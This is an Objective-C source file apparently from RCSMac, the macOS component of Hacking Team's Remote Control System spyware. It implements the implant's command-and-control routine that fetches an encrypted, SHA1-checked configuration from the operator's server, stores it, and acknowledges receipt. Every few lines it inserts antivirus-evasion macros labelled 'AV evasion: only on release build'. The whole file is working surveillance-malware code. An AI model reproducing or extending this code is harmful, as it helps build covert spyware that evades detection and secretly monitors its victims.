core/Modules/ConfNetworkOperation.m
/*
* RCSMac - ConfigurationUpdate Network Operation
*
*
* Created by revenge on 12/01/2011
* Copyright (C) HT srl 2011. All rights reserved
*
*/
#import "RCSMCommon.h"
#import "ConfNetworkOperation.h"
#import "NSString+SHA1.h"
#import "NSData+SHA1.h"
#import "NSMutableData+AES128.h"
#import "NSMutableData+SHA1.h"
#import "RCSMInfoManager.h"
#import "RCSMTaskManager.h"
#import "RCSMLogger.h"
#import "RCSMDebug.h"
#import "RCSMAVGarbage.h"
@implementation ConfNetworkOperation
- (id)initWithTransport: (RESTTransport *)aTransport
{
if (self = [super init])
{
mTransport = aTransport;
// AV evasion: only on release build
AV_GARBAGE_003
return self;
}
return nil;
}
// Done.
- (BOOL)perform
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_003
uint32_t command = PROTO_NEW_CONF;
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_002
NSData *commandSha = [commandData sha1Hash];
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_000
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_004
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
NSMutableData *replyDecrypted = nil;
// AV evasion: only on release build
AV_GARBAGE_000
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
// AV evasion: only on release build
AV_GARBAGE_004
__m_MInfoManager *infoManager = [[__m_MInfoManager alloc] init];
// AV evasion: only on release build
AV_GARBAGE_007
if (replyData == nil)
{
[infoManager release];
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
replyDecrypted = [[NSMutableData alloc] initWithData: replyData];
// AV evasion: only on release build
AV_GARBAGE_000
[replyDecrypted decryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_006
[replyDecrypted getBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_004
// remove padding
[replyDecrypted removePadding];
// AV evasion: only on release build
AV_GARBAGE_008
//
// check integrity
//
NSData *shaRemote;
NSData *shaLocal;
// AV evasion: only on release build
AV_GARBAGE_000
@try
{
// AV evasion: only on release build
AV_GARBAGE_008
shaRemote = [replyDecrypted subdataWithRange:
NSMakeRange([replyDecrypted length] - CC_SHA1_DIGEST_LENGTH,
CC_SHA1_DIGEST_LENGTH)];
// AV evasion: only on release build
AV_GARBAGE_006
shaLocal = [replyDecrypted subdataWithRange:
NSMakeRange(0, [replyDecrypted length] - CC_SHA1_DIGEST_LENGTH)];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_000
// FIXED-
[replyDecrypted release];
[infoManager release];
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_000
shaLocal = [shaLocal sha1Hash];
// AV evasion: only on release build
AV_GARBAGE_005
if ([shaRemote isEqualToData: shaLocal] == NO)
{
// AV evasion: only on release build
AV_GARBAGE_006
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_007
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_000
if (command != PROTO_OK)
{
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_000
uint32_t configSize = 0;
@try
{
// AV evasion: only on release build
AV_GARBAGE_002
[replyDecrypted getBytes: &configSize
range: NSMakeRange(4, sizeof(uint32_t))];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_007
[infoManager logActionWithDescription: @"Corrupted configuration received"];
// AV evasion: only on release build
AV_GARBAGE_001
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_008
if (configSize == 0)
{
[infoManager logActionWithDescription: @"Corrupted configuration received"];
// AV evasion: only on release build
AV_GARBAGE_003
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_000
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_009
NSMutableData *configData;
@try
{
// AV evasion: only on release build
AV_GARBAGE_005
configData = [[NSMutableData alloc] initWithData:
[replyDecrypted subdataWithRange: NSMakeRange(8, configSize)]];
}
@catch (NSException *e)
{
// AV evasion: only on release build
AV_GARBAGE_001
[infoManager logActionWithDescription: @"Corrupted configuration received"];
// AV evasion: only on release build
AV_GARBAGE_004
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_003
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_005
//
// Store new configuration file
//
__m_MTaskManager *taskManager = [__m_MTaskManager sharedInstance];
// AV evasion: only on release build
AV_GARBAGE_008
// Done.
if ([taskManager updateConfiguration: configData] == FALSE)
{
// FIXED-
[configData release];
[infoManager release];
[replyDecrypted release];
[commandData release];
[outerPool release];
return NO;
}
//
// AV evasion: only on release build
AV_GARBAGE_007
[infoManager release];
[configData release];
[replyDecrypted release];
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_000
return YES;
}
- (BOOL)sendConfAck:(int)retAck
{
NSAutoreleasePool *outerPool = [[NSAutoreleasePool alloc] init];
// AV evasion: only on release build
AV_GARBAGE_008
uint32_t command = PROTO_NEW_CONF;
NSMutableData *commandData = [[NSMutableData alloc] initWithBytes: &command
length: sizeof(uint32_t)];
// AV evasion: only on release build
AV_GARBAGE_007
[commandData appendBytes: &retAck length:sizeof(int)];
// AV evasion: only on release build
AV_GARBAGE_007
NSData *commandSha = [commandData sha1Hash];
[commandData appendData: commandSha];
// AV evasion: only on release build
AV_GARBAGE_006
[commandData encryptWithKey: gSessionKey];
// AV evasion: only on release build
AV_GARBAGE_005
//
// Send encrypted message
//
NSURLResponse *urlResponse = nil;
NSData *replyData = nil;
// AV evasion: only on release build
AV_GARBAGE_004
replyData = [mTransport sendData: commandData
returningResponse: urlResponse];
if (replyData == nil)
{
// AV evasion: only on release build
AV_GARBAGE_003
[commandData release];
[outerPool release];
return NO;
}
// AV evasion: only on release build
AV_GARBAGE_002
[commandData release];
[outerPool release];
// AV evasion: only on release build
AV_GARBAGE_001
return YES;
}
@end